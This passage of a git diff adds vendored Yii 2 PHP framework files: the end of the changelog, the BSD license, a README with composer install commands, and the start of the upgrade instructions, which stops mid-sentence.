(samdark) +- Bug #1635: `yii\jui\SliderInput` wasn't properly initialized (samdark) +- Bug #1659: MSSQL doesn't support limit (Ana1oliy) +- Bug #1686: ActiveForm is creating duplicated messages in error summary (qiangxue) +- Bug #1704: Incorrect regexp is used in `Inflector::camelize()` (qiangxue) +- Bug #1710: OpenId auth client does not request required attributes correctly (klimov-paul) +- Bug #1798: Fixed label attributes for array fields (zhuravljov) +- Bug #1800: Better check for `$_SERVER['HTTPS']` in `yii\web\Request::getIsSecureConnection()` (ginus, samdark) +- Bug #1812: Hide potential warning message due to race condition occurring to `Session::regenerateID()` call (qiangxue) +- Bug #1827: Debugger toolbar is loaded twice if an action is calling `run()` to execute another action (qiangxue) +- Bug #1868: Added ability to exclude tables from FixtureController apply/clear actions. (Ragazzo) +- Bug #1869: Fixed tables clearing. `TRUNCATE` changed to `DELETE` to avoid postgresql tables checks (and truncating all tables) (Ragazzo) +- Bug #1870: Validation errors weren't properly translated when using clientside validation (samdark) +- Bug #1930: Fixed domain based URL matching for website root (samdark) +- Bug #1937: Fixed wrong behavior or advanced app's `init --env` when called without parameter actually specified (samdark) +- Bug #1959: `Html::activeCheckbox` wasn't respecting custom values for checked/unchecked state (klevron, samdark) +- Bug #1965: `Controller::findLayoutFile()` returns incorrect file path when layout name starts with a slash (qiangxue) +- Bug #1992: In module scenario that use 'site/captcha' will get wrong refreshUrl (callmez) +- Bug #1993: afterFind event in AR is now called after relations have been populated (cebe, creocoder) +- Bug #1998: Unchecked required checkbox never pass client validation (klevron) +- Bug #2084: AssetController adjusting CSS URLs declared at same line fixed (klimov-paul) +- Bug #2091: `QueryBuilder::buildInCondition()` fails to handle array not starting with index 0 (qiangxue) +- Bug #2160: SphinxQL does not support OFFSET (qiangxue, romeo7) +- Bug #2209: When I18N message translation is missing source language is now used for formatting (samdark) +- Bug #2212: `yii\gridview\DataColumn` generates incorrect labels when used with nosql DB and there is no data (qiangxue) +- Bug #2298: Fixed the bug that Gii controller generator did not allow digit in the controller ID (qiangxue) +- Bug #2303: Fixed the bug that `yii\base\Theme::pathMap` did not support dynamic update with path aliases (qiangxue) +- Bug #2324: Fixed QueryBuilder bug when building a query with "query" option (mintao) +- Bug #2399: Fixed the bug that AssetBundle did not handle relative URLs correctly (qiangxue) +- Bug #2502: Unclear error message when `$_SERVER['DOCUMENT_ROOT']` is empty (samdark) +- Bug #2519: MessageSource removed translation messages when event handler was bound to `missingTranslation`-event (cebe) +- Bug #2527: Source language for `app` message category was always `en` no matter which application `sourceLanguage` was used (samdark) +- Bug #2559: Going back on browser history breaks GridView filtering with `Pjax` (tonydspaniard) +- Bug #2571: Fixed the bug that batchInsert will fail for SQLite if the values contain null or boolean false (qiangxue) +- Bug #2607: `yii message` tool wasn't updating `message` table (mitalcoi) +- Bug #2624: Html::textArea() should respect "name" option. (qiangxue) +- Bug #2653: Fixed the bug that unsetting an unpopulated AR relation would trigger exception (qiangxue) +- Bug #2681: Fixed the bug of php build-in server https://bugs.php.net/bug.php?id=66606 (dizews) +- Bug #2683: Fixed the bug that batchInsert will fail for MySQL if the values contain boolean false (qiangxue) +- Bug #2695: Fixed the issue that `FileValidator::isEmpty()` always returns true for validate multiple files (ZhandosKz) +- Bug #2739: Fixed the issue that `CreateAction::run()` was using obsolete `Controller::createAbsoluteUrl()` method (tonydspaniard) +- Bug #2740: Fixed the issue that `CaptchaAction::run()` was using obsolete `Controller::createUrl()` method (tonydspaniard) +- Bug #2760: Fixed GridView `filterUrl` parameters (qiangxue, AlexGx) +- Bug #2834: When overriding i18n translation sources from config using `app*` or `yii*` default `app` and `yii` sources were not removed (samdark) +- Bug #2848: Individual queries should be enclosed within parenthesis in a UNION query (qiangxue) +- Bug #2862: Using `DbCache` while enabling schema caching may cause infinite loops (qiangxue) +- Bug #3052: Fixed the issue that cache dependency data is not reused when `reusable` is set true (qiangxue) +- Bug #3443: Fixed `yii\bootstrap\Nav` and `yii\bootstrap\Dropdown` were generating wrong ids for submenus (arturf) +- Bug #3691: Fixed the issue that `CookieCollection::has` always returns false for cookies from browser (sonicgd) +- Bug #4212: MSSQL query builder should not generate the `ORDER BY` clause when it is not needed (qiangxue) +- Bug #4232: `TableSchema::sequenceName` for PostgreSQL should remove the enclosing quotes (katzz0, qiangxue) +- Bug #4697: MSSQL query builder does not work for newer MSSQL versions when LIMIT is used without ORDER BY (qiangxue) +- Bug: Fixed `Call to a member function registerAssetFiles() on a non-object` in case of wrong `sourcePath` for an asset bundle (samdark) +- Bug: Fixed incorrect event name for `yii\jui\Spinner` (samdark) +- Bug: Json::encode() did not handle objects that implement JsonSerializable interface correctly (cebe) +- Bug: Fixed issue with tabular input on ActiveField::radio() and ActiveField::checkbox() (jom) +- Bug: Fixed the issue that query cache returns the same data for the same SQL but different query methods (qiangxue) +- Bug: Fixed URL parsing so it's now properly giving 404 for URLs like `http://example.com//////site/about` (samdark) +- Bug: Fixed `HelpController::getModuleCommands` issue where it attempts to scan a module's controller directory when it doesn't exist (jom) +- Bug: Fixed an issue with FileHelper and not accessible directories which resulted in endless loop (cebe) +- Bug: Fixed `$model->load($data)` returned `true` if `$data` and `formName` were empty (samdark) +- Bug: Fixed issue with `ActiveRelationTrait` preventing `ActiveQuery` from clearing events and behaviors on clone (jom) +- Bug: `Query::queryScalar` wasn't making `SELECT DISTINCT` queries subqueries (jom) +- Bug: Fixed use `$files` instead of `self::$_files[$key]` to allow inheritance (pgaultier) +- Enh #46: Added Image extension based on [Imagine library](http://imagine.readthedocs.org) (tonydspaniard) +- Enh #364: Improve Inflector::slug with `intl` transliteration. Improved transliteration char map. (tonydspaniard) +- Enh #497: Removed `\yii\log\Target::logUser` and added `\yii\log\Target::prefix` to support customizing message prefix (qiangxue) +- Enh #499: Decoupled `Rule` from RBAC `Item` (samdark, qiangxue) +- Enh #797: Added support for validating multiple columns by `UniqueValidator` and `ExistValidator` (qiangxue) +- Enh #802: Added support for retrieving sub-array element or child object property through `ArrayHelper::getValue()` (qiangxue, cebe) +- Enh #938: Added `yii\web\View::renderAjax()` and `yii\web\Controller::renderAjax()` (qiangxue) +- Enh #1293: Replaced Console::showProgress() with a better approach. See Console::startProgress() for details (cebe) +- Enh #1406: DB Schema support for Oracle Database (p0larbeer, qiangxue) +- Enh #1437: Added ListView::viewParams (qiangxue) +- Enh #1467: Added support for organizing controllers in subdirectories (qiangxue) +- Enh #1469: ActiveRecord::find() now works with default conditions (default scope) applied by createQuery (cebe) +- Enh #1476: Add yii\web\Session::handler property (nineinchnick) +- Enh #1499: Added `ActionColumn::controller` property to support customizing the controller for handling GridView actions (qiangxue) +- Enh #1523: Query conditions now allow to use the NOT operator (cebe) +- Enh #1535: Improved `yii\web\User` to start session only when needed. Also prepared it for use without session. (qiangxue) +- Enh #1562: Added `yii\bootstrap\Tabs::linkOptions` (kartik-v) +- Enh #1572: Added `yii\web\Controller::createAbsoluteUrl()` (samdark) +- Enh #1579: throw exception when the given AR relation name does not match in a case sensitive manner (qiangxue) +- Enh #1581: Added `ActiveQuery::joinWith()` and `ActiveQuery::innerJoinWith()` to support joining with relations (qiangxue) +- Enh #1585: added schema parameter to createAbsoluteUrl() to force 'http' or 'https' (cebe) +- Enh #1601: Added support for tagName and encodeLabel parameters in ButtonDropdown (omnilight) +- Enh #1611: Added `BaseActiveRecord::markAttributeDirty()` (qiangxue) +- Enh #1633: Advanced application template now works with MongoDB by default (samdark) +- Enh #1634: Use masked CSRF tokens to prevent BREACH exploits (qiangxue) +- Enh #1641: Added `BaseActiveRecord::updateAttributes()` (qiangxue) +- Enh #1646: Added postgresql `QueryBuilder::checkIntegrity` and `QueryBuilder::resetSequence` (Ragazzo) +- Enh #1645: Added `Connection::$pdoClass` property (Ragazzo) +- Enh #1645: Added support for nested DB transactions (qiangxue) +- Enh #1681: Added support for automatically adjusting the "for" attribute of label generated by `ActiveField::label()` (qiangxue) +- Enh #1706: Added support for registering a single JS/CSS file with dependency (qiangxue) +- Enh #1773: keyPrefix property of Cache is not restricted to alnum characters anymore, however it is still recommended (cebe) +- Enh #1809: Added support for building "EXISTS" and "NOT EXISTS" query conditions (abdrasulov) +- Enh #1839: Added support for getting file extension and basename from uploaded file (anfrantic) +- Enh #1852: ActiveRecord::tableName() now returns table name using DbConnection::tablePrefix (creocoder) +- Enh #1881: Improved `yii\bootstrap\NavBar` with `containerOptions`, `innerContainerOptions` and `renderInnerContainer` (creocoder) +- Enh #1894: The path aliases `@webroot` and `@web` are now available right after the application is initialized (qiangxue) +- Enh #1921: Grid view ActionColumn now allow to name buttons like `{controller/action}` (creocoder) +- Enh #1973: `yii message/extract` is now able to generate `.po` files (SergeiKutanov, samdark) +- Enh #1984: ActionFilter will now mark event as handled when action run is aborted (cebe) +- Enh #2002: Added filterWhere() method to yii\db\Query to allow easy addition of search filter conditions by ignoring empty search fields (samdark, cebe) +- Enh #2003: Added `filter` property to `ExistValidator` and `UniqueValidator` to support adding additional filtering conditions (qiangxue) +- Enh #2008: `yii message/extract` is now able to save translation strings to database (kate-kate, samdark) +- Enh #2043: Added support for custom request body parsers (danschmidt5189, cebe) +- Enh #2051: Do not save null data into database when using RBAC (qiangxue) +- Enh #2054: Added support for using custom application configuration with the console command runner (qiangxue) +- Enh #2079: + - i18n now falls back to `en` from `en-US` if message translation isn't found (samdark) + - View now falls back to `en` from `en-US` if file not found (samdark) + - Default `sourceLanguage` and `language` are now `en` (samdark) +- Enh #2101: Gii is now using model labels when generating search (thiagotalma) +- Enh #2102: DetailView now allow use `category.name` as attribute name (creocoder) +- Enh #2102: DetailView now allow use custom label in string format like `name:format:label` (creocoder) +- Enh #2103: Renamed AccessDeniedHttpException to ForbiddenHttpException, added new commonly used HTTP exception classes (danschmidt5189) +- Enh #2124: Added support for UNION ALL queries (Ivan Pomortsev, iworker) +- Enh #2132: Allow url of CSS and JS files registered in yii\web\View to be url alias (cebe) +- Enh #2144: `Html` helper now supports rendering "data" attributes (qiangxue) +- Enh #2156: `yii migrate` now automatically creates `migrations` directory if it does not exist (samdark) +- Enh #2211: Added typecast database types into php types (dizews) +- Enh #2240: Improved `yii\web\AssetManager::publish()`, `yii\web\AssetManager::getPublishedPath()` and `yii\web\AssetManager::getPublishedUrl()` to support aliases (vova07) +- Enh #2325: Adding support for the `X-HTTP-Method-Override` header in `yii\web\Request::getMethod()` (pawzar) +- Enh #2364: Take into account current error reporting level in error handler (gureedo) +- Enh #2387: Added support for fetching data from database in batches (nineinchnick, qiangxue) +- Enh #2392: Added `addCssStyle()`, `removeCssStyle()`, `cssStyleFromArray()` and `cssStyleToArray()` to `Html` (qiangxue, kartik-v, Alex-Code) +- Enh #2406: Added support for conditional validation (drenty, cebe, qiangxue) +- Enh #2411: Added Gii extension generator (schmunk42) +- Enh #2415: Added support for inverse relations (qiangxue) +- Enh #2417: Added possibility to set `dataType` for `$.ajax` call in yii.activeForm.js (Borales) +- Enh #2436: Label of the attribute, which looks like `relatedModel.attribute`, will be received from the related model if it available (djagya) +- Enh #2490: `yii\db\Query::count()` and other query scalar methods now properly handle queries with GROUP BY clause (qiangxue) +- Enh #2491: Added support for using the same base class name of search model and data model in Gii (qiangxue) +- Enh #2499: Added ability to downgrade migrations by their absolute apply time (resurtm, gorcer) +- Enh #2525: Added support for formatting file sizes with `yii\base\Formatter` (VinceG) +- Enh #2526: Allow for null values in batchInsert (skotos) +- Enh #2646: Added support for specifying hostinfo in the pattern of a URL rule (qiangxue) +- Enh #2661: Added boolean column type support for SQLite (qiangxue) +- Enh #2670: Changed `console\Controller::globalOptions()` to `options($actionID)` to (make it possible to) differentiate options per action (hqx) +- Enh #2714: Added support for formatting time intervals relative to the current time with `yii\base\Formatter` (drenty) +- Enh #2726: Added `yii\db\ActiveRecord::loadDefaultValues()` that fills default values from DB schema (samdark) +- Enh #2729: Added `FilterValidator::skipOnArray` so that filters like `trim` will not fail for array inputs (qiangxue) +- Enh #2735: Added support for `DateTimeInterface` in `Formatter` (ivokund) +- Enh #2756: Added support for injecting custom `isEmpty` check for all validators (qiangxue) +- Enh #2775: Added `yii\base\Application::bootstrap` and `yii\base\BootstrapInterface` to support running bootstrap classes when starting an application (qiangxue) +- Enh #2892: ActiveRecord dirty attributes are now reset after call to `afterSave()` so information about changed attributes is available in `afterSave`-event (cebe) +- Enh #2910: Added `Application::end()` (qiangxue) +- Enh: Added support for using arrays as option values for console commands (qiangxue) +- Enh: Added `favicon.ico` and `robots.txt` to default application templates (samdark) +- Enh: Added `Widget::autoIdPrefix` to support prefixing automatically generated widget IDs (qiangxue) +- Enh: Support for file aliases in console command 'message' (omnilight) +- Enh: Sort and Pagination can now create absolute URLs (cebe) +- Enh: Added support for using array-typed arguments for console commands (qiangxue) +- Enh: Added support for installing packages conforming to PSR-4 standard (qiangxue) +- Enh: Better exception message when class cannot be loaded (samdark) +- Enh: `init` of advanced application now allows to specify answer for overwriting files via `init --overwrite=n` (samdark) +- Enh: Added `TableSchema::fullName` property (qiangxue) +- Enh: yii\codeception\TestCase now supports loading and using fixtures via Yii fixture framework (qiangxue) +- Enh: Added ability to get incoming headers (dizews) +- Enh: Added `beforeRun()` and `afterRun()` to `yii\base\Action` (qiangxue) +- Enh: Added support for using timeZone with `yii\base\Formatter` (dizews) +- Enh: Added `yii\web\View::POS_LOAD` (qiangxue) +- Enh: Added `yii\web\Response::clearOutputBuffers()` (qiangxue) +- Enh: Improved `QueryBuilder::buildLimit()` to support big numbers (qiangxue) +- Enh: Added support for building SQLs with sub-queries (qiangxue) +- Enh: Added `Pagination::getLinks()` (qiangxue) +- Enh: Added support for reading page size from query parameters by `Pagination` (qiangxue) +- Enh: LinkPager can now register relational link tags in the html header for prev, next, first and last page (cebe) +- Enh: Added `yii\web\UrlRuleInterface` and `yii\web\CompositeUrlRule` (qiangxue) +- Enh: Added `yii\web\Request::getAuthUser()` and `getAuthPassword()` (qiangxue) +- Enh: Added summaryOptions and emptyTextOptions to BaseListView (johonunu) +- Enh: Implemented Oracle column comment reading from another schema (gureedo, samdark) +- Enh: Added support to allow an event handler to be inserted at the beginning of the existing event handler list (qiangxue) +- Enh: Improved action filter and action execution flow by supporting installing action filters at controller, module and application levels (qiangxue) +- Enh: Added `isAssociative()` and `isIndexed()` to `yii\helpers\ArrayHelper` (qiangxue) +- Enh: Added `addSelect` to `yii\db\Query` (Alex-Code) +- Enh: Added ODBC support in `yii\db\Connection` (nineinchnick, resurtm) +- Chg #47: Changed Markdown library to cebe/markdown and adjusted Markdown helper API (cebe) +- Chg #735: Added back `ActiveField::hiddenInput()` (qiangxue) +- Chg #1186: Changed `Sort` to use comma to separate multiple sort fields and use negative sign to indicate descending sort (qiangxue) +- Chg #1519: `yii\web\User::loginRequired()` now returns the `Response` object instead of exiting the application (qiangxue) +- Chg #1564: Removed `yii\web\Session::autoStart` and added `hasSessionId`. Session will be automatically started when accessing session data (qiangxue) +- Chg #1586: `QueryBuilder::buildLikeCondition()` will now escape special characters and use percentage characters by default (qiangxue) +- Chg #1610: `Html::activeCheckboxList()` and `Html::activeRadioList()` will submit an empty string if no checkbox/radio is selected (qiangxue) +- Chg #1643: Added default value for `Captcha::options` (qiangxue) +- Chg #1796: Removed `yii\base\Controller::getActionParams()` (samdark) +- Chg #1835: `CheckboxColumn` now renders checkboxes whose values are the corresponding data key values (qiangxue) +- Chg #1821: Changed default values for yii\db\Connection username and password to null (cebe) +- Chg #1844: `Response::sendFile()` and other file sending methods will not send the response (qiangxue) +- Chg #1852: DbConnection::tablePrefix default value now 'tbl_' (creocoder) +- Chg #1958: `beforeSubmit` in `yii.activeform` is now executed after validation and before form submission (6pblcb) +- Chg #2025: Removed ability to declare scopes in ActiveRecord (samdark) +- Chg #2043: + - Renamed `yii\web\Request::acceptedLanguages` to `acceptableLanguages` (qiangxue) + - Removed `yii\web\Request::getPost()`, `getPut()`, `getDelete()`, `getPatch()` in favor of `getBodyParam()` (cebe) + - Renamed `yii\web\Request::get()` to `getQueryParams()` and `getRestParams()` to `getBodyParams()` (cebe) + - Added `yii\web\Request::get($name = null, $defaultValue = null)` and `yii\web\Request::post($name = null, $defaultValue = null)` (samdark) +- Chg #2059: Implemented git-flavored file excluding/filtering for `FileHelper` (nineinchnick) +- Chg #2063: Removed `yii\web\Request::acceptTypes` and renamed `yii\web\Request::acceptedContentTypes` to `acceptableContentTypes` (qiangxue) +- Chg #2103: Renamed AccessDeniedHttpException to ForbiddenHttpException (danschmidt5189) +- Chg #2146: Removed `ActiveRelation` class and `ActiveRelationInterface`, moved the functionality to `ActiveQuery`. + All relational queries are now directly served by `ActiveQuery` allowing to use custom scopes in relations + and also to declare arbitrary queries as relations. + Also removed `ActiveRecordInterface::createActiveRelation()` (cebe) +- Chg #2157: The '*' category pattern will match all categories that do not match any other patterns listed in `I18N::translations` (qiangxue, Ragazzo) +- Chg #2161: Added ability to use `return` in `Widget::run` (samdark) +- Chg #2173: Removed `StringHelper::diff()`, Moved `phpspec/php-diff` dependency from `yiisoft/yii2` to `yiisoft/yii2-gii` (samdark) +- Chg #2175: QueryBuilder will now append UNION statements at the end of the primary SQL (qiangxue) +- Chg #2210: Mysql driver will now treat `tinyint(1)` as integer instead of boolean (qiangxue) +- Chg #2248: Renamed `yii\base\Model::DEFAULT_SCENARIO` to `yii\base\Model::SCENARIO_DEFAULT` (samdark) +- Chg #2281: Renamed `ActiveRecord::create()` to `populateRecord()` and changed signature. This method will not call instantiate() anymore (cebe) +- Chg #2405: The CSS class of `MaskedInput` now defaults to `form-control` (qiangxue) +- Chg #2426: Changed URL creation method signatures to be consistent (samdark) +- Chg #2516: Moved error handling from application to ErrorHandler class and fixed problems with HTTP Exception response code (cebe) + - `Yii::$app->exception` has now moved to `Yii::$app->errorHandler->exception` + - `yii\base\ErrorHandler` was split into `yii\web\ErrorHandler` and `yii\console\ErrorHandler` +- Chg #2544: Changed `DetailView`'s `name:format:label` to `attribute:format:label` to match `GridView` (samdark) +- Chg #2603: `yii\base\ErrorException` now extends `\ErrorException` (samdark) +- Chg #2629: `Module::controllerPath` is now read only, and all controller classes must be namespaced under `Module::controllerNamespace`. (qiangxue) +- Chg #2630: API changes for URLs generation (samdark, qiangxue, cebe) + - Added `yii\helpers\Url`. + - Removed `yii\helpers\Html::url`, use `yii\helpers\Url::to` instead. + - Removed `yii\web\Controller::createUrl` and `yii\web\Controller::createAbsoluteUrl`, use `yii\helpers\Url::toRoute` instead. + - Removed `yii\web\Controller::getCanonicalUrl`, use `yii\helpers\Url::canonical` instead. +- Chg #2691: Null parameters will not be included in the generated URLs by `UrlManager` (gonimar, qiangxue) +- Chg #2734: `FileCache::keyPrefix` defaults to empty string now (qiangxue) +- Chg #2796: Removed `Application::preload` in favor of `Application::bootstrap` (qiangxue) +- Chg #2816: Changed default date and time format of `yii\base\Formatter` to `Y-m-d` and `H:i:s` (qiangxue) +- Chg #2911: Removed `tbl_` default for table prefix (samdark) +- Chg #2912: Relative view files will be looked for under the directory containing the view currently being rendered (qiangxue) +- Chg #2955: Changed the signature of ActiveQuery constructors and replaced `ActiveRecord::createQuery()` with `find()` to simplify customizing ActiveQuery classes (qiangxue) +- Chg #2999: Added `findOne()` and `findAll()` to replace the usage of `ActiveRecord::find($condition)`. (samdark, qiangxue) +- Chg #4204: `yii\web\Request::getUserIP()` will return null if it cannot detect user IP address (qiangxue) +- Chg #4622: Simplified the way of creating a Faker fixture template file (qiangxue) +- Chg: Renamed `yii\jui\Widget::clientEventsMap` to `clientEventMap` (qiangxue) +- Chg: Renamed `ActiveRecord::getPopulatedRelations()` to `getRelatedRecords()` (qiangxue) +- Chg: Renamed `attributeName` and `className` to `targetAttribute` and `targetClass` for `UniqueValidator` and `ExistValidator` (qiangxue) +- Chg: Added `yii\widgets\InputWidget::options` (qiangxue) +- Chg: Changed the signature of `urlCreator` and button creators for `yii\gridview\ActionColumn` (qiangxue) +- Chg: Updated HTMLPurified dependency to `4.6.*`. +- Chg: Changed Yii autoloader to support loading PSR-4 classes only (i.e. PEAR-styled classes not supported anymore) (qiangxue) +- Chg: Changed the directory structure according to PSR-4. You have to update your application `index.php`, + `index-test.php` and `yii` files to point to the new location of `Yii.php` (qiangxue, cebe) +- Chg: Advanced app template: moved database connection DSN, login and password to `-local` config not to expose it to VCS (samdark) +- Chg: Renamed `yii\web\Request::acceptedLanguages` to `acceptableLanguages` (qiangxue) +- Chg: Removed implementation of `Arrayable` from `yii\Object` (qiangxue) +- Chg: The scripts in asset bundles are now registered in `View` at the end of `endBody()`. It was done in `endPage()` previously (qiangxue) +- Chg: Renamed `csrf-var` to `csrf-param` for CSRF header name (Dilip) +- Chg: The directory holding email templates is renamed from `mails` to `mail` (qiangxue) +- Chg: Renamed properties `fooVar` to `fooParam` for various classes (qiangxue) + - Renamed `ActiveForm::ajaxVar` to `ajaxParam` + - Renamed `Pagination::pageVar` to `pageParam` + - Renamed `Sort::sortVar` to `sortParam` + - Renamed `yii\web\Request::csrfVar` to `csrfParam` + - Renamed `yii\web\Request::methodVar` to `methodParam` + - Renamed `UrlManager::routeVar` to `routeParam` + - Renamed `yii\web\Session::flashVar` to `flashParam` + - Renamed `yii\web\User::idVar` to `idParam` + - Renamed `yii\web\User::authTimeoutVar` to `authTimeoutParam` + - Renamed `yii\web\User::returnUrlVar` to `returnUrlParam` +- Chg: Added `View::viewFile` and removed `ViewEvent::viewFile` (qiangxue) +- Chg: Changed `Controller::afterAction()`, `Module::afterAction()` and `ActionFilter::afterAction()` to pass `$result` by value instead of reference (qiangxue) +- Chg: `yii\base\Extension::init()` is renamed to `bootstrap()` (qiangxue) +- Chg: `getComponent()` and `setComponent()` in `Application` and `Module` are renamed to `get()` and `set()` respectively. (qiangxue) +- Chg: The signature of `Yii::createObject()` is changed. Constructor parameters must be passed as the second parameter. (qiangxue) +- Chg: `Yii::$objectConfig` is removed. You should use `Yii::$container->set()` to configure default settings of classes. (qiangxue) +- Chg: Removed `yii\grid\Column::getDataCellContent()` and renamed `yii\grid\DataColumn::getDataCellContent()` to `yii\grid\DataColumn::getDataCellValue()` (cebe) +- Chg: `yii\log\Logger` is split into `yii\log\Logger` and `yii\log\Dispatcher`. (qiangxue) +- Chg: Moved all filter classes to namespace `yii\filters` (qiangxue) +- Chg: Re-implemented RBAC by following more closely to the original NIST RBAC model. Dropped `yii\rbac\PhpManager`. (qiangxue) +- Chg: Renamed `yii\web\User::checkAccess()` to `yii\web\User::can()` (qiangxue) +- New #66: [Auth client library](https://github.com/yiisoft/yii2-authclient) OpenId, OAuth1, OAuth2 clients (klimov-paul) +- New #303: Added built-in support for REST API (qiangxue) +- New #503: Added `yii\di\Container` and `yii\di\ServiceLocator` (qiangxue) +- New #706: Added `yii\widgets\Pjax` and enhanced `GridView` to work with `Pjax` to support AJAX-update (qiangxue) +- New #1393: [Codeception testing framework integration](https://github.com/yiisoft/yii2-codeception) (Ragazzo) +- New #1438: [MongoDB integration](https://github.com/yiisoft/yii2-mongodb) ActiveRecord and Query (klimov-paul) +- New #1956: Implemented test fixture framework (qiangxue) +- New #2034: Added `ContentNegotiator` to support response format and language negotiation (qiangxue) +- New #2149: Added `yii\base\DynamicModel` to support ad-hoc data validation (qiangxue) +- New #2360: Added `AttributeBehavior` and `BlameableBehavior`, and renamed `AutoTimestamp` to `TimestampBehavior` (lucianobaraglia, qiangxue) +- New #2932: Added `yii\web\ViewAction` that allow you to render views based on GET parameter (samdark) +- New #2998: Added `framework\log\SyslogTarget` that is able to write log to syslog (miramir, samdark) +- New #3029: Added `yii\bootstrap\ActiveForm` and `yii\bootstrap\ActiveField` (mikehaertl) +- New #4640: Added `yii\widgets\ActiveForm::beginField()` and `endField()` (qiangxue) +- New: Yii framework now comes with core messages translated into 26 languages, many thanks to all our translators! +- New: Added `yii\codeception\DbTestCase` (qiangxue) +- New: Added `yii\web\GroupUrlRule` (qiangxue) +- New: Added `yii\filters\RateLimiter` (qiangxue) +- New: Added various authentication methods, including `HttpBasicAuth`, `HttpBearerAuth`, `QueryParamAuth`, and `CompositeAuth` (qiangxue) +- New: Added `HtmlResponseFormatter` and `JsonResponseFormatter` (qiangxue) + + +2.0.0-alpha, December 1, 2013 +----------------------------- + +- Initial release. +- Official extensions released in this version: + - [Twitter bootstrap 3.0](https://github.com/yiisoft/yii2-bootstrap) + - [Jquery UI](https://github.com/yiisoft/yii2-jui) + + - [Debug Toolbar](https://github.com/yiisoft/yii2-debug) + - [Gii code generator](https://github.com/yiisoft/yii2-gii) + + - [Elasticsearch integration](https://github.com/yiisoft/yii2-elasticsearch): ActiveRecord and Query + - [Redis integration](https://github.com/yiisoft/yii2-redis): ActiveRecord, Cache and Session + - [Sphinx integration](https://github.com/yiisoft/yii2-sphinx): ActiveRecord and Query + + - [Swiftmailer](https://github.com/yiisoft/yii2-swiftmailer) + + - [Smarty View Renderer](https://github.com/yiisoft/yii2-smarty) + - [Twig View Renderer](https://github.com/yiisoft/yii2-twig) diff --git a/php/yii2/basic/vendor/yiisoft/yii2/LICENSE.md b/php/yii2/basic/vendor/yiisoft/yii2/LICENSE.md new file mode 100644 index 00000000..e98f03df --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/LICENSE.md @@ -0,0 +1,32 @@ +The Yii framework is free software. It is released under the terms of +the following BSD License. + +Copyright © 2008 by Yii Software LLC (http://www.yiisoft.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + * Neither the name of Yii Software LLC nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/php/yii2/basic/vendor/yiisoft/yii2/README.md b/php/yii2/basic/vendor/yiisoft/yii2/README.md new file mode 100644 index 00000000..4a863017 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/README.md @@ -0,0 +1,25 @@ +Yii PHP Framework Version 2 +=========================== + +This is the core framework code of [Yii 2](https://github.com/yiisoft/yii2#readme). + + +Installation +------------ + +The preferred way to install the Yii framework is through [composer](http://getcomposer.org/download/). + +Either run + +``` +composer global require "fxp/composer-asset-plugin:1.0.0-beta2" +composer require --prefer-dist "yiisoft/yii2 *" +``` + +or add + +```json +"yiisoft/yii2": "*", +``` + +to the require section of your composer.json. diff --git a/php/yii2/basic/vendor/yiisoft/yii2/UPGRADE.md b/php/yii2/basic/vendor/yiisoft/yii2/UPGRADE.md new file mode 100644 index 00000000..6f0b07d2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/UPGRADE.md @@ -0,0 +1,327 @@ +Upgrading Instructions for Yii Framework v2 +=========================================== + +!!!IMPORTANT!!! + +The following upgrading instructions are cumulative. That is, +if you want to upgrade from version A to version C and there is +version B between A and C, you need to following the instructions +for both A and B. + +Upgrade from Yii 2.0 RC +----------------------- + +* If you've implemented `yii\rbac\ManagerInterface` you need to add implementation for new method `removeChildren()`. + +* The input dates for datetime formatting are now assumed to be in UTC unless a timezone is explicitly given. + Before, the timezone assumed for input dates was the default timezone set by PHP which is the same as `Yii::$app->timeZone`. + This causes trouble because the formatter uses `Yii::$app->timeZone` as the default values for output so no timezone conversion + was possible. If your timestamps are stored in the database without a timezone identifier you have to ensure they are in UTC or + add a timezone identifier explicitly. + +* `yii\bootstrap\Collapse` is now encoding labels by default. `encode` item option and global `encodeLabels` property were + introduced to disable it. Keys are no longer used as labels. You need to remove keys and use `label` item option instead. + +* The `yii\base\View::beforeRender()` and `yii\base\View::afterRender()` methods have two extra parameters `$viewFile` + and `$params`. If you are overriding these methods, you should adjust the method signature accordingly. + +* If you've used `asImage` formatter i.e. `Yii::$app->formatter->asImage($value, $alt);` you should change it + to `Yii::$app->formatter->asImage($value, ['alt' => $alt]);`. + +* Yii now requires `cebe/markdown` 1.0.0 or higher, which includes breaking changes in its internal API. If you extend the markdown class + you need to update your implementation. See for details. + If you just used the markdown helper class there is no need to change anything. + +* If you are using CUBRID DBMS, make sure to use at least version 9.3.0 as the server and also as the PDO extension. + Quoting of values is broken in prior versions and Yii has no reliable way to work around this issue. + A workaround that may have worked before has been removed in this release because it was not reliable. + + +Upgrade from Yii 2.0 Beta +------------------------- + +* If you are using Composer to upgrade Yii, you should run the following command first (once for all) to install + the composer-asset-plugin, *before* you update your project: + + ``` + php composer.phar global require "fxp/composer-asset-plugin:1.0.0-beta2" + ``` + + You also need to add the following code to your project's `composer.json` file: + + ```json + "extra": { + "asset-installer-paths": { + "npm-asset-library": "vendor/npm", + "bower-asset-library": "vendor/bower" + } + } + ``` + + It is also a good idea to 